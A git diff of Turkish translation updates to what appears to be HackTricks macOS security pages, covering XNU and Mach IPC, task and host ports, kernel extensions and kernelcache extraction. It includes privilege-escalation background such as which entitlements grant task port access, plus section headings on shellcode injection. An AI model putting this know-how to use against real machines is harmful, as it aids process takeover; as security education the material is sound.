Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-03 06:09:15 +00:00
parent 446ef19a8c
commit 72048c668f
257 changed files with 2542 additions and 2388 deletions

View File

@ -4,9 +4,9 @@
## XNU Kernel ## XNU Kernel
**macOS'in temeli XNU'dur**, bu "X is Not Unix" anlamına gelir. Bu çekirdek esasen **Mach mikro çekirdeği** (daha sonra tartışılacak) ve **Berkeley Software Distribution** (**BSD**) unsurlarından oluşmaktadır. XNU ayrıca **I/O Kit adı verilen bir sistem aracılığıyla çekirdek sürücüleri için bir platform sağlar**. XNU çekirdeği, **kaynak kodu serbestçe erişilebilir** olan Darwin açık kaynak projesinin bir parçasıdır. **macOS'in temeli XNU'dur**, bu "X is Not Unix" anlamına gelir. Bu çekirdek esasen **Mach mikro çekirdeği** (daha sonra tartışılacak) ve **Berkeley Yazılım Dağıtımı** (**BSD**) unsurlarından oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücüleri için bir platform sağlar**. XNU çekirdeği, **kaynak kodu serbestçe erişilebilir** olan Darwin açık kaynak projesinin bir parçasıdır.
Bir güvenlik araştırmacısı veya Unix geliştiricisi perspektifinden, **macOS** oldukça **benzer** bir **FreeBSD** sistemi gibi görünebilir; şık bir GUI ve birçok özel uygulama ile. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına aşina olan komut satırı araçlarının tamamı macOS'ta mevcut olduğundan, macOS'ta derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir. Bir güvenlik araştırmacısı veya Unix geliştiricisi perspektifinden, **macOS** oldukça **benzer** bir **FreeBSD** sistemi gibi görünebilir; şık bir GUI ve birçok özel uygulama ile. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına aşina olan komut satırı araçları macOS'ta mevcut olduğundan, macOS'ta değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir.
XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
@ -14,11 +14,11 @@ XNU'nun açık kaynak versiyonu: [https://opensource.apple.com/source/xnu/](http
Mach, **UNIX uyumlu** olacak şekilde tasarlanmış bir **mikro çekirdek**'tir. Ana tasarım ilkelerinden biri, **çekirdek** alanında çalışan **kod** miktarını **minimize** etmek ve bunun yerine dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyinde görevler olarak çalışmasına** izin vermekti. Mach, **UNIX uyumlu** olacak şekilde tasarlanmış bir **mikro çekirdek**'tir. Ana tasarım ilkelerinden biri, **çekirdek** alanında çalışan **kod** miktarını **minimize** etmek ve bunun yerine dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyinde görevler olarak çalışmasına** izin vermekti.
XNU'da, Mach, bir çekirdeğin genellikle ele aldığı birçok kritik düşük seviyeli işlemin **sorumlusudur**, örneğin işlemci zamanlaması, çoklu görev ve sanal bellek yönetimi. XNU'da, Mach genellikle bir çekirdeğin ele aldığı kritik düşük seviyeli işlemlerden birçoklarından **sorumludur**, örneğin işlemci zamanlaması, çoklu görev ve sanal bellek yönetimi.
### BSD ### BSD
XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktarda kodu **içermektedir**. Bu kod, Mach ile birlikte çekirdek parçası olarak **aynı adres alanında çalışır**. Ancak, XNU içindeki FreeBSD kodu, Mach ile uyumluluğunu sağlamak için gerekli değişiklikler yapıldığından, orijinal FreeBSD kodundan önemli ölçüde farklı olabilir. FreeBSD, aşağıdakiler dahil birçok çekirdek işlemi için katkıda bulunur: XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktarda kodu **içerir**. Bu kod, Mach ile birlikte çekirdek parçası olarak **aynı adres alanında çalışır**. Ancak, XNU içindeki FreeBSD kodu, Mach ile uyumluluğunu sağlamak için gerekli değişiklikler yapıldığından, orijinal FreeBSD kodundan önemli ölçüde farklı olabilir. FreeBSD, aşağıdakiler dahil birçok çekirdek işlemi için katkıda bulunur:
- Süreç yönetimi - Süreç yönetimi
- Sinyal işleme - Sinyal işleme
@ -29,7 +29,7 @@ XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilmiş önemli miktard
BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü farklı kavramsal çerçevelere sahiptirler. Örneğin, BSD, temel yürütme birimi olarak süreçleri kullanırken, Mach, iş parçacıkları temelinde çalışır. Bu tutarsızlık, XNU'da **her BSD sürecini tam olarak bir Mach iş parçacığı içeren bir Mach görevi ile ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdek içindeki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır. BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü farklı kavramsal çerçevelere sahiptirler. Örneğin, BSD, temel yürütme birimi olarak süreçleri kullanırken, Mach, iş parçacıkları temelinde çalışır. Bu tutarsızlık, XNU'da **her BSD sürecini tam olarak bir Mach iş parçacığı içeren bir Mach görevi ile ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdek içindeki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır.
Ayrıca, **Mach ve BSD her biri farklı güvenlik modelleri** sürdürmektedir: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **süreç sahipliğine** dayanır. Bu iki model arasındaki farklılıklar zaman zaman yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarının yanı sıra, **kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren Mach tuzakları** da vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, hibrit mimarisini oluşturur. Ayrıca, **Mach ve BSD her biri farklı güvenlik modelleri** sürdürmektedir: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **süreç sahipliği** temelinde çalışır. Bu iki model arasındaki farklılıklar zaman zaman yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarının yanı sıra, **kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren Mach tuzakları** da vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, hibrit mimarisini oluşturur.
### I/O Kit - Sürücüler ### I/O Kit - Sürücüler
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS System Extensions ### macOS System Extensions
macOS, Çekirdek Uzantılarını kullanmak yerine, çekirdek ile etkileşimde bulunmak için kullanıcı düzeyinde API'ler sunan Sistem Uzantılarını oluşturmuştur. Bu şekilde, geliştiriciler çekirdek uzantılarını kullanmaktan kaçınabilirler. macOS, çekirdek ile etkileşimde bulunmak için kullanıcı düzeyinde API'ler sunan Sistem Uzantılarını oluşturmuştur. Bu şekilde, geliştiriciler çekirdek uzantılarını kullanmaktan kaçınabilirler.
{{#ref}} {{#ref}}
macos-system-extensions.md macos-system-extensions.md

View File

@ -26,7 +26,7 @@ Bir görevin gerçekleştirebileceği işlemleri tanımlayan port hakları, bu i
- **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesajın çıkarılması, içerdiği portlardan birinden bir mesajın çıkarılması anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir. - **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesajın çıkarılması, içerdiği portlardan birinden bir mesajın çıkarılması anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir.
- **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port üzerindeki tüm mevcut port hakları ölü adlara dönüşür. - **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port üzerindeki tüm mevcut port hakları ölü adlara dönüşür.
**Görevler, diğerlerine GÖNDERME haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDERME hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar. **Görevler, diğerlerine GÖNDERME haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDERME hakları da kopyalanabilir, böylece bir görev, hakkı kopyalayabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar.
### Dosya Portları ### Dosya Portları
@ -45,15 +45,15 @@ Dosya portları, Mac portlarında dosya tanımlayıcılarını kapsüllemeye ola
5. GÖNDERME hakkını aldıktan sonra, Görev **B**, bir **mesaj** oluşturma ve bunu **Görev A'ya** gönderme yeteneğine sahiptir. 5. GÖNDERME hakkını aldıktan sonra, Görev **B**, bir **mesaj** oluşturma ve bunu **Görev A'ya** gönderme yeteneğine sahiptir.
6. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). 6. İki yönlü iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia edebilir** ve ardından her isteği onaylayabilir. Bootstrap sunucusu, bir görevin iddia ettiği hizmet adını **doğrulayamaz**. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir; örneğin, yanlış bir şekilde **bir yetkilendirme hizmet adı iddia ederek** her isteği onaylayabilir.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP-korunan** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adlarının her biri için bir **ALMA hakkı** oluşturacak ve tutacaktır. Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar; bu dosyalar **SIP-korunan** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adıyla birlikte, **ilişkili ikili dosya da saklanır**. Bootstrap sunucusu, bu hizmet adlarının her biri için bir **ALMA hakkı oluşturur ve tutar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir: Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şu şekildedir:
- Görev **B**, bir hizmet adı için bootstrap **arama** başlatır. - Görev **B**, bir hizmet adı için bootstrap **arama** başlatır.
- **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**. - **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
- Görev **A** (hizmet), bir **bootstrap kontrolü** gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**. - Görev **A** (hizmet), bir **bootstrap check-in** gerçekleştirir. Burada, **bootstrap** sunucusu bir GÖNDERME hakkı oluşturur, bunu saklar ve **ALMA hakkını Görev A'ya aktarır**.
- launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye gönderir**. - launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye gönderir**.
- Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim). - Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı ile yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya** (hizmet) verir, böylece Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
@ -74,9 +74,9 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id; mach_msg_id_t msgh_id;
} mach_msg_header_t; } mach_msg_header_t;
``` ```
İşlemler, bir _**alma hakkı**_ bulunduruyorsa, bir Mach portu üzerinde mesaj alabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ alırlar. Bir kez gönderme hakkı, yalnızca tek bir mesaj göndermek için geçerlidir, ardından geçersiz hale gelir. İşlemler _**alma hakkı**_ bulunan bir Mach portu üzerinden mesaj alabilir. Tersine, **gönderenler** _**gönderme**_ veya _**bir kez gönderme hakkı**_ ile yetkilendirilir. Bir kez gönderme hakkı, yalnızca tek bir mesaj göndermek için geçerlidir, ardından geçersiz hale gelir.
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **yanıt portu** olarak adlandırılan **mach portunu** mach **mesaj başlığında** belirtebilir (**`msgh_local_port`**) ve mesajın **alıcı**sı bu mesaja **bir yanıt gönderebilir**. **`msgh_bits`** içindeki bit bayrakları, bu port için bir **bir kez gönderme** **hakkı** türetilmesi ve aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, mesajın **yanıt portu** olarak adlandırılan mach **mesaj başlığında** bir **mach portu** belirtebilir (**`msgh_local_port`**) ve mesajın **alıcı**sı bu mesaja **bir yanıt gönderebilir**. **`msgh_bits`** içindeki bit bayrakları, bu port için bir **bir kez gönderme** **hakkı** türetilip aktarılacağını **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP] > [!TIP]
> Bu tür bir iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişim oluşturmak için. > Bu tür bir iki yönlü iletişimin, bir yanıt bekleyen XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak **genellikle farklı portlar oluşturulur**; daha önce açıklandığı gibi iki yönlü iletişim oluşturmak için.
@ -89,7 +89,7 @@ Mesaj başlığının diğer alanları şunlardır:
- `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği. - `msgh_id`: bu mesajın alıcı tarafından yorumlanan kimliği.
> [!CAUTION] > [!CAUTION]
> **mach mesajlarının bir \_mach portu** üzerinden gönderildiğini unutmayın, bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**. > **Mach mesajlarının \_mach portu** üzerinden gönderildiğini unutmayın, bu, mach çekirdeğine entegre edilmiş **tek alıcı**, **birden fazla gönderici** iletişim kanalıdır. **Birden fazla işlem**, bir mach portuna **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **tek bir işlem okuyabilir**.
### Portları Sayma ### Portları Sayma
```bash ```bash
@ -228,15 +228,15 @@ printf("Sent a message\n");
### Ayrıcalıklı Portlar ### Ayrıcalıklı Portlar
- **Host port**: Eğer bir süreç bu port üzerinde **Send** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (örneğin, `host_processor_info`). - **Host port**: Eğer bir süreç bu port üzerinde **Send** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (örneğin, `host_processor_info`).
- **Host priv port**: Bu port üzerinde **Send** hakkına sahip bir süreç, bir çekirdek uzantısını yüklemek gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izni almak için **süper kullanıcı** olması gerekir. - **Host priv port**: Bu port üzerinde **Send** hakkına sahip bir süreç, bir çekirdek uzantısını yüklemek gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izni alabilmek için **süper kullanıcı** olması gerekir.
- Ayrıca, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olmak gereklidir. - Ayrıca, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilere **`com.apple.private.kext*`** sahip olmak gereklidir.
- **Task name port:** _task port_'un ayrıcalıksız bir versiyonudur. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun üzerinden erişilebilen tek şey `task_info()` gibi görünmektedir. - **Task name port:** _task port_'un ayrıcalıksız bir versiyonudur. Görevi referans alır, ancak onu kontrol etmeye izin vermez. Bunun üzerinden erişilebilen tek şey `task_info()` gibi görünmektedir.
- **Task port** (diğer adıyla kernel port)**:** Bu port üzerinde Send izni ile görevi kontrol etmek mümkündür (belleği okuma/yazma, iş parçacıkları oluşturma...). - **Task port** (diğer adıyla kernel port)**:** Bu port üzerinde Send izni ile görevi kontrol etmek (belleği okuma/yazma, iş parçacıkları oluşturma...) mümkündür.
- Çağrıcı görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **devralınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında da yeni bir görev portu alır). Bir görevi başlatmanın ve portunu almanın tek yolu, `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir. - Çağrıcı görev için bu portun **adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** üzerinden **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` sonrası bir suid ikili dosyasında yeni bir görev portu da alır). Bir görevi başlatmanın ve portunu almanın tek yolu, `fork()` yaparken ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) gerçekleştirmektir.
- Port erişimi için kısıtlamalar (ikili dosya `AppleMobileFileIntegrity`'den `macos_task_policy`): - Port erişimi için kısıtlamalar (ikili dosya `AppleMobileFileIntegrity`'den `macos_task_policy`):
- Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen süreçler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez. - Uygulama **`com.apple.security.get-task-allow` yetkisine** sahipse, **aynı kullanıcıdan** gelen süreçler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç, **herhangi bir** sürecin görev portunu alabilir. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir. - **`com.apple.system-task-ports`** yetkisine sahip uygulamalar, çekirdek hariç, **herhangi bir** sürecin **görev portunu** alabilir. Eski sürümlerde buna **`task_for_pid-allow`** denirdi. Bu yalnızca Apple uygulamalarına verilir.
- **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayan). - **Root,** **hardened** çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayanlar).
### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu ### Görev portu aracılığıyla iş parçacığında Shellcode Enjeksiyonu
@ -802,9 +802,9 @@ Bu teknikte bir sürecin thread'i ele geçirilir:
### Temel Bilgiler ### Temel Bilgiler
XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır ve böylece tehlikeye atılmış bir süreçten kaynaklanan potansiyel zararı sınırlamaktadır. XPC, macOS tarafından kullanılan çekirdek olan XNU'nun (XNU: X is Not Unix) süreçler arası iletişim için bir çerçevedir. XPC, sistemdeki farklı süreçler arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Bu, her bir **bileşenin** işini yapmak için **sadece ihtiyaç duyduğu izinlerle** çalıştığı **ayrılmış ayrıcalıklarla uygulamalar** oluşturulmasına olanak tanıyan Apple'ın güvenlik paradigmasının bir parçasıdır; böylece tehlikeye atılmış bir süreçten kaynaklanan potansiyel zararı sınırlamaktadır.
Bu **ileşimin nasıl çalıştığı** ve **nasıl savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin: Bu **iletişimin nasıl çalıştığı** ve **nasıl savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin:
{{#ref}} {{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/

View File

@ -8,14 +8,14 @@ Kernel uzantıları (Kexts), **macOS çekirdek alanına doğrudan yüklenen** ve
### Gereksinimler ### Gereksinimler
ıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Yüklenebilmesi için bir kernel uzantısının karşılaması gereken **gereksinimler** şunlardır: ıkça, bu kadar güçlü olduğu için **bir kernel uzantısını yüklemek karmaşıktır**. Bir kernel uzantısının yüklenebilmesi için karşılaması gereken **gereksinimler** şunlardır:
- **Kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**: - **Kurtarma moduna** girerken, kernel **uzantılarının yüklenmesine izin verilmelidir**:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde inceleneceği ve neden gerektiği. - Kernel uzantısı, yalnızca **Apple tarafından verilebilen** bir kernel kod imzalama sertifikası ile **imzalanmış olmalıdır**. Şirketin detaylı bir şekilde inceleneceği ve neden gerektiği.
- Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılım için kontrol edebilecektir. - Kernel uzantısı ayrıca **notarize edilmelidir**, Apple bunu kötü amaçlı yazılımlar için kontrol edebilecektir.
- Ardından, **root** kullanıcısı kernel uzantısını **yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**. - Ardından, **root** kullanıcısı kernel uzantısını **yükleyebilen** kişidir ve paket içindeki dosyalar **root'a ait olmalıdır**.
- Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). - Yükleme sürecinde, paket **korumalı bir kök olmayan konumda** hazırlanmalıdır: `/Library/StagedExtensions` (bu, `com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
- Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**. - Son olarak, yüklemeye çalışırken, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) ve kabul edilirse, bilgisayar **yeniden başlatılmalıdır**.
@ -45,13 +45,13 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
## Kernelcache ## Kernelcache
> [!CAUTION] > [!CAUTION]
> `/System/Library/Extensions/` içinde kernel uzantılarının bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext` dosyasını tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir. > `/System/Library/Extensions/` içinde kernel uzantılarının bulunması beklenmesine rağmen, bu klasöre giderseniz **hiçbir ikili dosya bulamayacaksınız**. Bunun nedeni **kernelcache**'dir ve bir `.kext`'i tersine mühendislik yapmak için onu elde etmenin bir yolunu bulmanız gerekir.
**Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonudur**, ayrıca temel cihaz **sürücüleri** ve **kernel uzantıları** ile birlikte gelir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır. **Kernelcache**, **XNU çekirdeğinin önceden derlenmiş ve önceden bağlantılı bir versiyonu** ile birlikte temel cihaz **sürücüleri** ve **kernel uzantıları** içerir. **Sıkıştırılmış** bir formatta depolanır ve önyükleme süreci sırasında belleğe açılır. Kernelcache, çekirdeğin ve kritik sürücülerin çalışmaya hazır bir versiyonunu bulundurarak **daha hızlı bir önyükleme süresi** sağlar; bu, bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır.
### Yerel Kernelcache ### Yerel Kernelcache
iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** içinde bulunur, macOS'ta ise şunları kullanarak bulabilirsiniz: **`find / -name "kernelcache" 2>/dev/null`** \ iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** içinde bulunur, macOS'ta ise şunlarla bulabilirsiniz: **`find / -name "kernelcache" 2>/dev/null`** \
Benim durumumda macOS'ta şunu buldum: Benim durumumda macOS'ta şunu buldum:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
@ -85,7 +85,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) adresinde tüm kernel hata ayıklama kitlerini bulmak mümkündür. Bunu indirebilir, bağlayabilir, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) aracıyla açabilir, **`.kext`** klasörüne erişebilir ve **çıkarabilirsiniz**. [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) adresinde tüm kernel hata ayıklama kitlerini bulmak mümkündür. Bunu indirebilir, monte edebilir, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) aracıyla açabilir, **`.kext`** klasörüne erişebilir ve **çıkarabilirsiniz**.
Semboller için kontrol edin: Semboller için kontrol edin:
```bash ```bash
@ -109,7 +109,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
``` ```
### Kernelcache'i İnceleme ### Kernelcache'i İnceleme
Kernelcache'in sembollere sahip olup olmadığını kontrol edin. Kernelcache'in sembollere sahip olup olmadığını kontrol et
```bash ```bash
nm -a kernelcache.release.iphone14.e | wc -l nm -a kernelcache.release.iphone14.e | wc -l
``` ```

View File

@ -1,10 +1,10 @@
# macOS Kernel ıkları # macOS Kernel Vulnerabilities
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## [OTA'yı Ele Geçirme](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) ## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
